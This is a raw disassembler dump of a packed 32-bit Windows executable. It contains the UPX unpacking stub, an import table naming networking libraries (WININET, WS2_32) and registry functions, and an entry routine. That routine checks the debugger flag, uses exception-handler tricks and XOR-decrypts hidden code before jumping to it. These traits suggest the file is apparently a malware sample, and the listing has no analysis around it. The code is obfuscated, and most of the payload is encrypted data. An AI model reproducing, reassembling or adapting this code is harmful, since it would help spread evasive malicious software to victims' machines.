9CFF7CBh, 0A767F9B9h, 4D53FF85h, 53187242h dd 0F4BFFFC8h, 62FEFFCFh, 43500200h, 575445ABh, 204B524Fh dd 474F5250h, 0ED624152h, 204DE35Bh, 4C17CD31h, 24D4E41h dd 0EB52B70Ah, 3D66D390h, 676B03DFh, 4BB696EBh, 0E707587h dd 27611A33h, 1F2A234Dh, 583274B6h, 32323221h, 5833312Eh dd 18FE66D3h, 8B323C20h, 0C95A25A4h, 7A0773C8h, 0DBEC1B1Ah dd 23FF0Ch, 140A1104h, 0DD40520h, 185DADEh, 4B4C0069h dd 68505353h, 4BE48F6h, 8829772h, 240057E0h, 0EB605DCDh dd 6F30006Eh, 3A73009Dh, 7B7B2274h, 90130B1h, 3500398Ch dd 7301B223h, 72E1D5Bh, 0C9ABDA00h, 8273C80h, 0EC57DA20h dd 9F324E24h, 461A0003h, 6407923h, 4007471Bh, 45060006h dd 101B9FFFh, 8A151F01h, 48E088h, 444004Fh, 292FFFF6h dd 0F27A6A19h, 281C49E4h, 742530AFh, 0E1536710h, 4DF214F2h dd 3075DF5Ch, 0BAF70400h, 75CDAE6h, 5C085ABDh, 0D8DD4D61h dd 72E5DC8h, 2E380036h, 491B3077h, 0B62E6CECh, 1043EC00h dd 0E5633F00h, 6439E403h dd 4DC08A2h, 0B7FC83D8h, 0FF1640h, 0E00DEDEh, 19F1600h dd 26FD2602h, 2840484Ch, 6110319h, 8BF70D1Bh, 0D374D96Ch dd 90A5C370h, 9C2AB2EFh, 6077256Bh, 109FB6CFh, 1B04480Eh dd 0B73E1354h, 5A545D75h, 22596326h, 45CBC75Ch, 0E7FCD20Fh dd 58765h, 4810030Bh, 0FFB810B8h, 0E7B17FFh, 286A050Bh dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 0FF85F62Eh, 5D5FF5B1h dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 0B9F2D160h, 0F40C5EC8h dd 0CA060A3h, 5790F200h, 0CB10CA0h, 0C8E4EFFBh, 880CA000h dd 90040h, 0EC0703ECh, 0E49E11h, 4F401495h, 0BF40707Ch dd 1B2297B2h, 13430700h, 23FF09E7h, 138578h, 0E9A65BABh dd 63F81013h, 2F90273Ch, 230EFEFFh, 60C30740h, 8408E651h dd 0F74F9388h, 10B94349h, 0B801FFEEh, 0E4D98710h, 0AD200CC9h dd 7C7F070Dh, 0FC85796h, 700118D8h, 3E400F84h, 0F8495E4h dd 36000F95h, 21BF279h, 6C0F847Fh, 0AB7B000Fh, 0A89A1E12h dd 0FF13436Fh, 1F223024h, 50586E69h, 6C725020h, 2B029Bh dd 39014446h, 0F2113F24h, 123C6B32h, 0EC027515h, 41F21035h dd 941C0053h, 72BFFE01h, 0C606EB88h, 73255C5Ch, 6370695Ch dd 0FFE5D424h, 0EC81666Fh, 0E4FF071Ch, 44655300h, 67756265h dd 0E8DF7669h, 67ADD463h, 6A6441CFh, 6F548975h, 0DB92656Bh dd 176EB266h, 126F4C73h, 0FD1C7075h, 61567F76h, 4165756Ch dd 28704F17h, 2C77636Fh, 34C6A475h, 61766B00h, 0DF053367h dd 75E318D4h, 39316DCDh, 0FE6A322Dh, 9F5A3A37h, 72545F6Ch dd 6E577961h, 96DD4364h, 61AF36DAh, 6F94521Eh, 0AD685405h dd 0CCEA354h, 7C45614h, 0BA99B65Ch, 532841B5h, 3EA37845h dd 0FA34356Eh, 0F54BB3D2h, 544822F3h, 7D835054h, 404B46A9h dd 4F6C9C20h, 0BB0A0D4Bh, 1EF52B5h, 244CB4Bh, 0CA044C2Dh dd 676ADF66h, 25203A59h, 0DA2F1875h, 28587B5Ah, 26B97954h dd 6D5A70A7h, 63B2B6A6h, 2E2F15AFh, 8EA9EE56h, 72BF2DCBh dd 59B4CBCDh, 4757B18Bh, 1E3FC304h, 372A942Dh, 0F1640200h dd 0E95FED0Bh, 6D9573D7h, 0B1637673h, 2DDF77D7h, 25692D5Eh dd 175F320Fh, 98B73475h, 7BD2F6Bh, 38393103h, 0D34D34DBh dd 34353637h, 75236933h, 7DCE9A6h, 2F313203h, 0DEF60C39h dd 3837D9h, 37073B43h, 8320C832h, 0C8343536h, 330C8320h dd 93523132h, 0FB8B2CD4h, 0B7F9E03Ah, 0C7EDB58Ah, 54464F47h dd 45524157h, 9163F0Dh, 75435CD7h, 56297272h, 6C378442h dd 5C1E73E8h, 0B36E7552h, 0D0B6ED37h, 0EA6F74E2h, 20306838h dd 7FF81B53h, 0FB0F1A14h, 736E6753h, 796A7264h, 0CB564472h dd 7E741768h, 0B9AAEAA7h, 5F7A43C2h, 0CE23h, 4C10E147h dd 47136055h, 535E01BBh, 9E432053h, 0D5762067h, 0ADBD9B53h dd 945876DCh, 7C23B532h, 2D82F642h, 0E3471A1Bh, 23CB7337h dd 79931217h, 0A35A8473h, 4200F1B1h, 75D72077h, 0BDADB023h dd 6D1B13C5h, 0DD975220h, 0A5B73772h, 2044180Dh, 2F662620h dd 2D856D67h, 2AAC73D9h, 22632463h, 0FED722D9h, 20797469h dd 1E6E614Dh, 1831F81Ah, 420000Ch, 15455D12h, 0FB2493C4h dd 0C0017119h, 65657246h, 0B7E00D0Ch, 470DCD47h, 6F4D7465h dd 2F14BF87h, 434665C5h, 406D614Eh, 74736C01h, 35DEF772h dd 0A956380h, 79706F43h, 0E1480A19h, 456102DEh, 22326578h dd 0F8A5FFEDh, 6C6F6F54h, 3233703Bh, 70616E53h, 746F6873h dd 9B5BBA19h, 32127414h, 540F7372h, 235AE60Bh, 182C35A3h dd 0F60B6C21h, 78654E01h, 41616974h, 16BFFB54h, 0CF76453Ch dd 7469616Bh, 53726F46h, 0ED74423Ch, 4F7B676Dh, 2C766A62h dd 0E025A144h, 8D22B59Bh, 0CD964CB7h, 45DB76CDh, 2F725072h dd 48196972h, 0EF64BDD6h, 486573FDh, 0C646E61h, 886C3255h dd 8B61B59h, 4618E06Eh, 46D735F1h, 64B14465h, 59498B4Bh dd 530C1BC0h, 64656B1Dh, 0ADDD1F45h, 1270B36Dh, 661D4061h dd 1153246Fh, 96EC9B3h, 6EC17065h, 25CFF64Bh, 12EE9E9Bh dd 6464410Bh, 0EF660F72h, 4CD9221Bh, 61726269h, 0CD15B567h dd 4D2BC1B5h, 6C137C82h, 0BB961016h, 8763CF9Ch, 54F685B5h dd 75969869h, 2B4DDE65h, 0B15B092h, 0B4B44278h, 0D366C37h dd 0E539AF5Dh, 5D22CC21h, 78456862h, 66C25B6Dh, 630AF631h dd 373C6D13h, 522D8DC1h, 87B591Bh, 2ECD82ADh, 38657A94h dd 9F9D5B5Ch, 2CD1937Dh, 654B9367h, 0EC3B4579h, 7810CE40h dd 0A510F99h, 5AC25EC0h, 309011E8h, 426C5987h, 0D21021E7h dd 7B70A107h, 62410C51h, 6853B024h, 688D0E29h, 0FF78F1F6h dd 0D9851AC1h, 10892877h, 7DB662BBh, 6112440Ah, 6669320Eh dd 0B63AD61Bh, 8F67BC79h, 6C362B75h, 436F616Fh, 2C796FC0h dd 23506F11h, 52106770h, 3F900E8Fh, 0B4A438F6h, 71634114h dd 70726975h, 4DD874AEh, 3AA03549h, 59A7C336h, 73ECDE13h dd 6D06BC72h, 0D1CE18B1h, 840E27B2h, 99DA150Fh, 1D4D536Bh dd 0C54A445Fh, 3FB8740Ah, 0C5E8685Fh, 6EC46D27h, 0AD0702CDh dd 880D696Fh, 660AD172h, 14E955B3h, 40288901h, 0F3488CD3h dd 0CC652D15h, 0EC0CC362h, 0E10A1415h, 0DF26106Eh, 776C49ACh dd 0C20B7073h, 0B75BB669h, 0F44F4166h, 3DB6FC28h, 8B2C2834h dd 1141A155h, 16C05212h, 6A615F0Eh, 6B14C370h, 0C9416E09h dd 3BB86658h, 1A877453h, 0F5135B3Fh, 7940EB45h, 2C020273h dd 0D2CB2CBh, 346F3901h, 0B2CB2CB2h, 4090C17h, 2AA4F413h dd 141610CBh, 7C834550h, 74EC4AABh, 40E07ED2h, 0CE8011E0h dd 10F00FDh, 0BE06010Bh, 6ABA120Ch, 0EFCB20ECh, 31431024h dd 0BA4B020Bh, 7283259h, 364600Ch, 341E733Bh, 8060710h dd 37B39609h, 0E33F8C2Fh, 6405DB0Ah, 2E1E0180h, 0B06C0C5Bh dd 263207DDh, 0DBC42890h, 7D0483E3h, 642EE004h, 6E54FBE7h dd 1221DD21h, 162C27h, 0C08574BEh, 0C9314648h, 54h, 0 align 10h pusha mov esi, offset dword_31436000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31437CA2 ; --------------------------------------------------------------------------- align 8 loc_31437C98: ; CODE XREF: UPX1:loc_31437CA9j mov al, [esi] inc esi mov [edi], al inc edi loc_31437C9E: ; CODE XREF: UPX1:31437D36j ; UPX1:31437D4Dj add ebx, ebx jnz short loc_31437CA9 loc_31437CA2: ; CODE XREF: UPX1:31437C90j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CA9: ; CODE XREF: UPX1:31437CA0j jb short loc_31437C98 mov eax, 1 loc_31437CB0: ; CODE XREF: UPX1:31437CBFj ; UPX1:31437CCAj add ebx, ebx jnz short loc_31437CBB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CBB: ; CODE XREF: UPX1:31437CB2j adc eax, eax add ebx, ebx jnb short loc_31437CB0 jnz short loc_31437CCC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CB0 loc_31437CCC: ; CODE XREF: UPX1:31437CC1j xor ecx, ecx sub eax, 3 jb short loc_31437CE0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31437D52 mov ebp, eax loc_31437CE0: ; CODE XREF: UPX1:31437CD1j add ebx, ebx jnz short loc_31437CEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CEB: ; CODE XREF: UPX1:31437CE2j adc ecx, ecx add ebx, ebx jnz short loc_31437CF8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CF8: ; CODE XREF: UPX1:31437CEFj adc ecx, ecx jnz short loc_31437D1C inc ecx loc_31437CFD: ; CODE XREF: UPX1:31437D0Cj ; UPX1:31437D17j add ebx, ebx jnz short loc_31437D08 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437D08: ; CODE XREF: UPX1:31437CFFj adc ecx, ecx add ebx, ebx jnb short loc_31437CFD jnz short loc_31437D19 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CFD loc_31437D19: ; CODE XREF: UPX1:31437D0Ej add ecx, 2 loc_31437D1C: ; CODE XREF: UPX1:31437CFAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31437D3C loc_31437D2D: ; CODE XREF: UPX1:31437D34j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31437D2D jmp loc_31437C9E ; --------------------------------------------------------------------------- align 4 loc_31437D3C: ; CODE XREF: UPX1:31437D2Bj ; UPX1:31437D49j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31437D3C add edi, ecx jmp loc_31437C9E ; --------------------------------------------------------------------------- loc_31437D52: ; CODE XREF: UPX1:31437CDCj pop esi mov edi, esi mov ecx, 86h loc_31437D5A: ; CODE XREF: UPX1:31437D61j ; UPX1:31437D66j mov al, [edi] inc edi sub al, 0E8h loc_31437D5F: ; CODE XREF: UPX1:31437D84j cmp al, 1 ja short loc_31437D5A cmp byte ptr [edi], 1 jnz short loc_31437D5A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31437D5F lea edi, [esi+5000h] loc_31437D8C: ; CODE XREF: UPX1:31437DAEj mov eax, [edi] or eax, eax jz short loc_31437DD7 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31437DA9: ; CODE XREF: UPX1:31437DCFj mov al, [edi] inc edi or al, al jz short loc_31437D8C mov ecx, edi jns short near ptr loc_31437DBA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31437DBA: ; CODE XREF: UPX1:31437DB2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31437DD1 mov [ebx], eax add ebx, 4 jmp short loc_31437DA9 ; --------------------------------------------------------------------------- loc_31437DD1: ; CODE XREF: UPX1:31437DC8j call dword ptr [esi+7094h] loc_31437DD7: ; CODE XREF: UPX1:31437D90j popa jmp loc_314324EF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31438000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dword_3143808C dd 77E805D8h ; DATA XREF: sub_314382A2+4Cr dd 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) ; --------------------------------------------------------------------------- public start start: xchg eax, ebx push 0ED01C390h mov eax, esp call eax pop ebx call loc_3143826F mov esp, [esp+8] mov eax, 4EBh ; CODE XREF: UPX2:31438219j jmp short near ptr loc_31438214+1 ; --------------------------------------------------------------------------- mov eax, fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3143826E call $+5 pop ebp sub ebp, 402338h mov eax, [ebp+402385h] add eax, [ebp+40238Dh] mov esi, eax mov eax, [ebp+402389h] add eax, [ebp+40238Dh] push eax pusha mov edi, esi xor ecx, ecx mov dl, [ebp+402395h] loc_3143825E: ; CODE XREF: UPX2:3143826Bj lodsb xor al, dl add dl, al stosb inc ecx cmp ecx, [ebp+402391h] jl short loc_3143825E popa locret_3143826E: ; CODE XREF: UPX2:3143822Aj retn ; --------------------------------------------------------------------------- loc_3143826F: ; CODE XREF: UPX2:3143820Bp sub eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, 12345678h xchg eax, [ebx] add [eax+0], ah add [eax+7Ch], al add [ebx+31h], al add [esi], bl ; --------------------------------------------------------------------------- db 2 dup(0), 30h ; =============== S U B R O U T I N E ======================================= sub_3143828F proc near ; CODE XREF: sub_314382A2+22p pusha push ebp mov ebp, esp call near ptr sub_314382A2 call sub_31438347 jmp loc_314382F4 sub_3143828F endp ; =============== S U B R O U T I N E ======================================= sub_314382A2 proc far ; CODE XREF: sub_3143828F+4p var_50 = byte ptr -50h var_3C = dword ptr -3Ch ; FUNCTION CHUNK AT 3143835D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 31438366 SIZE 00000019 BYTES push dword ptr fs:0 mov fs:0, esp xor edx, edx push edx push edx push edx push 100h push edx push edx push edx push edx push edx push edx push 80000000h push edx call sub_3143828F xor [ecx], esi leave push 80000000h push 2000h push 80000000h push ecx push 8000h push ecx push ecx push 8 push ecx push 80000000h call ds:dword_3143808C ; LoadLibraryA loc_314382F4: ; CODE XREF: sub_3143828F+Ej sub eax, eax loc_314382F6: ; CODE XREF: sub_314382A2+5Aj dec al or al, al jz short loc_31438300 jnz short loc_314382F6 jmp short loc_31438367 ; --------------------------------------------------------------------------- loc_31438300: ; CODE XREF: sub_314382A2+58j call $+5 pop edx sub edx, 0FFFFFFB1h mov esi, 243Ch and ebx, 0 or ebx, 0BCh push edx loc_3143831B: ; CODE XREF: sub_314382A2+88j xchg al, [edx] xor ax, bx xchg al, [edx] add edx, 1 inc ebx dec esi cmp esi, 0 jnz short loc_3143831B pop edx mov esp, fs:0 pop dword ptr fs:0 lea ebp, [esp+54h+var_50] leave mov [esp+50h+var_3C], edx popa jmp edx sub_314382A2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) ; =============== S U B R O U T I N E ======================================= sub_31438347 proc near ; CODE XREF: sub_3143828F+9p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_31438347 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0BFBE552Ch, 0C749C1C0h db 0E0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_314382A2 loc_3143835D: ; CODE XREF: sub_314382A2+D7j xor al, [esi-14h] in al, dx leave retf 0CCCBh ; END OF FUNCTION CHUNK FOR sub_314382A2 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_314382A2 loc_31438366: ; CODE XREF: sub_314382A2+C7j dec esi loc_31438367: ; CODE XREF: sub_314382A2+5Cj inc esi dec eax jge short loc_31438366 rcl esp, cl pop esi mov dh, bl fsubr qword ptr [ebp+548527F7h] outsb outsd leave loope loc_3143835D push 5Ch push ecx iret ; END OF FUNCTION CHUNK FOR sub_314382A2 ; --------------------------------------------------------------------------- db 0E7h dd 0C45269E8h, 7EEEDC8h, 6BF1FC85h, 0F7F6D1C4h, 4F8A273h dd 74F616CFh, 3263098h, 5C35FA04h, 678B9C5Dh, 0F0B0928h dd 0F0931110h, 0E8E9E514h, 0B1CF499h, 63951D5Ch, 96AF2504h dd 27661118h, 2B2A2991h, 0AE8ADE2Ch, 5B667F4Bh, 3A43465Dh dd 0B6067AB3h, 0BE582538h, 37071178h, 47ADC44Ch, 3E4A4949h dd 371EC6AEh, 21D98253h, 4F1CDE74h, 0F60BAA5Bh, 27DF9E5Fh dd 625619Fh, 0E67D1010h, 193A6A10h, 7D1B0E03h, 327509F1h dd 2041110h, 7002F871h, 7F0D0E19h, 546084F4h, 0AE45D8DDh dd 0F901AD84h, 7C8DD4A8h, 0DD96269Fh, 948AEF1Fh, 1CAE1263h dd 93766E9Fh, 0E0A2A1A0h, 0C2D5CAC8h, 0CFC4C8E0h, 0FCAEC8C0h dd 363B674Fh, 0B7F68088h, 0BBBAB450h, 0DACCFEBCh, 86A7B5A1h dd 0B3A8A0B2h, 3499C989h, 8F4B441Ah, 3BD291E5h, 0D7D6D5D9h dd 97AEBC9Fh, 9AAAAEBDh, 918D9392h, 3119B6E4h, 0DEAE6C61h dd 9F06EDACh, 76F2F1F0h, 0A7D78134h, 0CEBE6C07h, 3F7BFDBCh dd 868F1175h, 74614D6h, 0E3F55982h, 0F0E0D62h, 86ED6DFBh dd 17562028h, 2F2B9CEFh, 1F1E1D5Ch, 3D56A120h, 131390A9h dd 57A12968h, 8A8A2908h, 0A80ACBBh, 82BD3574h, 3B7A008Eh dd 68480B7h, 801F4100h, 2D462F1Eh, 214A2348h, 4F4F254Ch dd 97D95154h, 3D06553Eh, 0A49ED254h, 0A0BBEh, 50626153h dd 98BC8DADh, 0FEE79697h, 6F2E7CCDh, 23232022h, 4236E08Bh dd 0BFF97938h, 8DF4BE5Ch, 83A0DE39h, 0C796B584h, 72685F8Ah dd 0B6C3434Fh, 47D4BC7Ah, 1F0D6636h, 0DFEC7157h, 0F6B8D80Dh dd 9C44B9AAh, 0B8CC4A3h, 0E5351212h, 7C00DC5Fh, 674D371Fh dd 0AA9AB6D6h, 7D1EDECAh, 82D3FFAEh, 0F75D675Fh, 3CF63786h dd 3CDF0474h, 5A814D3Eh, 0C761218Fh, 0E0DDA8F6h, 2C2CB197h dd 7B4D3087h, 6684391Fh, 8826DDF8h, 0B063E1D2h, 73D5390Bh dd 0F85C485Ah, 0BB5CC119h, 38C711E2h, 4050B7BAh, 0E7243149h dd 0AED19DC6h, 6FDCF4A2h, 93A9C356h, 3814437Ah, 5B1DAD23h dd 50AC34C2h, 9C4E0C8Ah, 2249AE95h, 0CB7865A6h, 7BC54E19h dd 0F2A0EDD4h, 0E7E4C9F7h, 785D8856h, 0CC0C11B0h, 80B2624Bh dd 0CB6FB9A6h, 2BAB5D6Ch, 92C98C6Bh, 0A0008DE4h, 8E286211h dd 9C16B521h, 9CC4261Eh, 5C703CCEh, 1731A93Fh, 2B3C3666h dd 4BB3A1D7h, 4C9FD3BCh, 0D34634Dh, 3F08AD97h, 0FFA41162h dd 3C905C2Eh, 3791899Fh, 0A4189046h, 10E2C4F6h, 4340E741h dd 4394A992h, 5AA88F36h, 0B5BB3DAAh, 0E2582D8Fh, 0E844B8EAh dd 0B8DA5B3h, 8FF64912h, 66DF6D5Fh, 27347CCAh, 7B48803Eh dd 41D83822h, 83BAE291h, 0DD6EFA93h, 0D78D2A8Ch, 0C4DCC187h dd 6E038E8Fh, 87145C4Ah, 6CEC2AF6h, 0F7D30E7Ch, 23F0BD48h dd 9BC02D64h, 1E8735AAh, 4F7CD45Ah, 24931813h, 2E87891Ah dd 8E58F89Bh, 74FD11A2h, 4156353Dh, 4AA7598Ah, 2B18A03Eh dd 6C18CEF2h, 183FF2C0h, 8721FDFFh, 1A589AB6h, 6CF9344Dh dd 0E63BFD4Eh, 97840C82h, 44390559h, 4F4F4317h, 0AB2566DEh dd 58F4892Fh, 7E470426h, 3F4C624Bh, 368C1065h, 3E07990Ah dd 649924F9h, 0EF6FF7B7h, 0AEF225FEh, 0BA591645h, 0DBA89338h dd 9FC6BE89h, 0D38FE438h, 54E57AAEh, 0F2FBF50Ch, 0A5BC0B05h dd 2CD5A006h, 0DE3449CFh, 3B08C58Ah, 0FB4145E9h, 3C6FA363h dd 0FA0FBFF5h, 0ABD85842h, 447A4172h, 0B844CA33h, 21384DC8h dd 0F153079Dh, 0B6225942h, 2FBB7D8Eh, 0D3CFB980h, 4BD0F54Ch dd 0E5F42112h, 99723C1Eh, 0B28B1994h, 7B08B036h, 0FF48527Ah dd 83B9D306h, 0DDB092CAh, 1D45E86h, 45DCEBF2h, 0D3EA1F7Ch dd 873DA752h, 0A684FF6h, 0E07C0EE8h, 63C559DBh, 52DD262Ah dd 0ACFC3A19h, 0C2C31E2Fh, 73F0AD2Bh, 0EDC0305Ah, 54034516h dd 92CDB411h, 4350CDAEh, 0E368DC07h, 0CBA79586h, 777C547Fh dd 6C920D7Eh, 8721B5EFh, 1B3E8DB6h, 3020B1C2h, 13C59661h dd 0E1AD4B3Ah, 0AC5D19CFh, 631DF7F7h, 73E188ABh, 0EF61364Ah dd 72C84563h, 7F391D27h, 6904CDEEh, 0C81BF36Ah, 0ABADB993h dd 0F09C8432h, 3996F28Bh, 8C82BFB8h, 89E9CFA2h, 9FAC60EAh dd 0E7156ECEh, 30719BCFh, 7D91C736h, 0A8D90D3Bh, 4C362D7Bh dd 2701454Fh, 6DCC4E96h, 0A99CC734h, 1305A279h, 0F4A4993Fh dd 548F0582h, 0AF297DE7h, 7940E7BEh, 370156F8h, 22A8A503h dd 0DFEC306Ah, 6AD15619h, 40109DE6h, 7E1460D9h, 79CF2152h dd 0C51CC8DDh, 737449DAh, 0CBDD7A81h, 3A8C9117h, 0C58C69AEh dd 0C560E749h, 4F6C2A68h, 45DCEBBAh, 7B15B254h, 254290Fh dd 0C8B45136h, 1F28CC6Ah, 0B2398E4Eh, 52BD49C9h, 8B3803DAh dd 8EBDC9A7h, 33E0A030h, 0B1E4DD0Ah, 0E8D81547h, 4A24841Dh dd 8395DDEEh, 82B2DD3h, 0A450B1B2h, 2FAAFD77h, 6E6CE53Eh dd 3847D685h, 5B1D5923h, 0DEF45AC2h, 63B1D5CAh, 23B6E6Ah dd 0CB78409Ah, 0F087447Bh, 73E96021h, 0A7AC9142h, 0FBC82C98h dd 3F0C5CC7h, 3509DEFh, 37E4994Ah, 0EB985506h, 500F5763h dd 1335856Bh, 0AB8D42BAh, 209D65F2h, 0C36F9FE0h, 0C6035C8Ch dd 326998E4h, 619AFA02h, 0BCC80237h, 81537A42h, 155D5F85h dd 5708B0E2h, 93BEE511h, 8090334Bh, 3C5BC78h, 0C7B15323h dd 0AC1C0017h, 6721E8CCh, 2BFDEF9Fh, 0EBC9A853h, 0B8825832h dd 91737DCFh, 7230D88Fh, 28D78776h, 0CE8F5277h, 96522E5Eh dd 75113DFBh, 0F27E8B3h, 0CDE48547h, 83B47C0Bh, 0D6016B89h dd 34CB0F2h, 4BBDE4C0h, 0B6F20E7Eh, 0D3311D5Bh, 33044A99h dd 2C5C9DE7h, 429EEE7Ch, 0B8EC0A5Ah, 0F33D3592h, 276895BBh dd 5781C8ECh, 8BDDCF5Ah, 0D6E11173h, 2C234587h, 2664AED7h dd 9A4D0DE7h, 4E1F95A3h, 3F58786h, 0E7B44C5Bh, 0B2764008h dd 5A5B00C2h, 2B09F6C2h, 6DC9448h, 0F2BE5039h, 0BF5D32A6h dd 6A10C8D4h, 16CD848Ah, 0D3918E1Ah, 8EAC6A1Bh, 5E4434CEh dd 663CF980h, 52A3990Bh, 86FD0172h, 0C3354742h, 3E61839Bh dd 40D4A8DFh, 0BEBCD113h, 0FEFC016Fh, 0A33155BAh, 1709CEDh dd 628BC703h, 88BC0F3Dh, 0D636597Bh, 85D7AA8h, 7A7080F8h dd 9EA3DD62h, 0A1F9114Ah, 0ED6B878h, 0CA951507h, 8A751702h dd 5526C2C9h, 47F1C593h, 0F5CD9579h, 0BA805804h, 93401CC3h dd 5623D783h, 2EC8BA26h, 0E08E717Ch, 8053083Dh, 4806199Ah dd 83BE0B5h, 0D6CAE311h, 83A46E1Ch, 0D40B6B9Ah, 586BA6E3h dd 57B9CF80h, 0B6D34D0Ah, 0EB3D2F4Eh, 2F1C6493h, 6A4E98F0h dd 6283D83Ah, 0A3E12A2Ah, 0EE145CA0h, 2A518886h, 568CFE9Eh dd 0B4B4F93Fh, 0DEFC366Fh, 1225458Fh, 57F89CBh, 0A34135E3h dd 2B3DF8AFh, 0EF1AFA7h, 0F6A95B4Eh, 8172660Dh, 1B4D09DFh dd 2B1ED894h, 22DC9C7Bh, 0F4AB5506h, 0A24A22A6h, 663AC4E6h dd 3DA088B2h, 0CD90886Eh, 0ABBC7623h, 567A38D0h, 6637F882h dd 5C8BCD39h, 0A5983B63h, 0CA2E4246h, 1565B99Fh, 7B185D3h dd 0A9ABD138h, 0FAD81067h, 0C01F4F9Eh, 57778ACFh, 79BBC128h dd 0AAC80037h, 0D00F5F4Eh, 22477ABFh, 4F46C5EEh, 9EA9E321h dd 0A6C3385Ah, 18CDAD69h, 0DF961528h, 0B96C203Fh, 5C37E8D7h dd 24F1FA9Ch, 0F5C78C42h, 90987F42h, 0A55E18FEh, 1721D583h dd 3BF78168h, 0FDAC4F77h, 80450E31h, 4C1B1DE9h, 3548EBB3h dd 0D0FE8156h, 0F7B3781Ah, 0C316709Ch, 2674B4F3h, 5DB3ECD7h dd 0A7CE4D07h, 0F33D1B6Dh, 29017393h, 734D84F6h, 4C9DD803h dd 85840058h, 0E52D5992h dd 2B5382BBh, 4194FEFBh, 0B3D3E733h, 0C8E60479h, 0D38428Bh dd 4377B3C7h, 0A4650ADDh, 5F2AF4B2h, 0C9CB187h, 0F6B36252h dd 0AC774609h, 782811D3h, 3A02DFADh, 4B0896Dh, 0F8AC4D0Fh dd 0B25A01D5h, 6A11C0FCh, 10C59FDEh, 0C287C96Ch, 88C86138h dd 5A6732CDh, 6D199D9Ah, 5996FC3Eh, 87DB2163h, 0E739725Dh dd 3F64A39Fh, 699DE9DFh, 0B59AC002h, 0FAEB0567h, 0CD1F7EBAh dd 23679CC4h, 7FABD103h, 0CFD91533h, 0D6144357h, 135167A8h dd 556DB5D9h, 91859123h, 0ADE2385Ah, 7EBAD6Fh, 0D98D7B23h dd 0A61C001Eh, 6125F9D0h, 15E0CC94h, 0DDCC8453h, 0DF895D2Bh dd 0A26639CFh, 2577F0BAh, 7F4B108h, 0E8997312h, 804F011Dh dd 5E1102FFh, 1C2DD7D6h, 0D1E9A16Dh, 0C6A97825h, 0E56458B2h dd 1E49B2E3h, 79A5F3D7h, 0B6F5211Fh, 8715117Fh, 80F40A4h dd 7E7A85E7h, 6695C822h, 54843852h, 4353300Fh, 4F3C8983h dd 7F6D459Eh, 0E7DE8A7Eh, 0EBD9407Ch, 0F4497BB1h, 979B8D62h dd 0B74E0DDAh, 0D40BC797h, 2FA93167h, 9F048E3Eh, 0F2E0BC85h dd 0DFAB65F6h, 0D23B72CAh, 23A54C8Bh, 0C73B0A6Ah, 0C55275CCh dd 3AD8346Dh, 0B325ED9Eh, 0A7644D15h, 93980556h, 3F0C386Ch dd 33A4965h, 778E55C1h, 0FB98556Eh, 0FD5E6B32h, 9D68CD94h dd 6DD4E9D3h, 8BBBF476h, 0AA48E4FDh, 0FA2F3D8Eh, 62386C55h dd 0F47DB526h, 42373D26h, 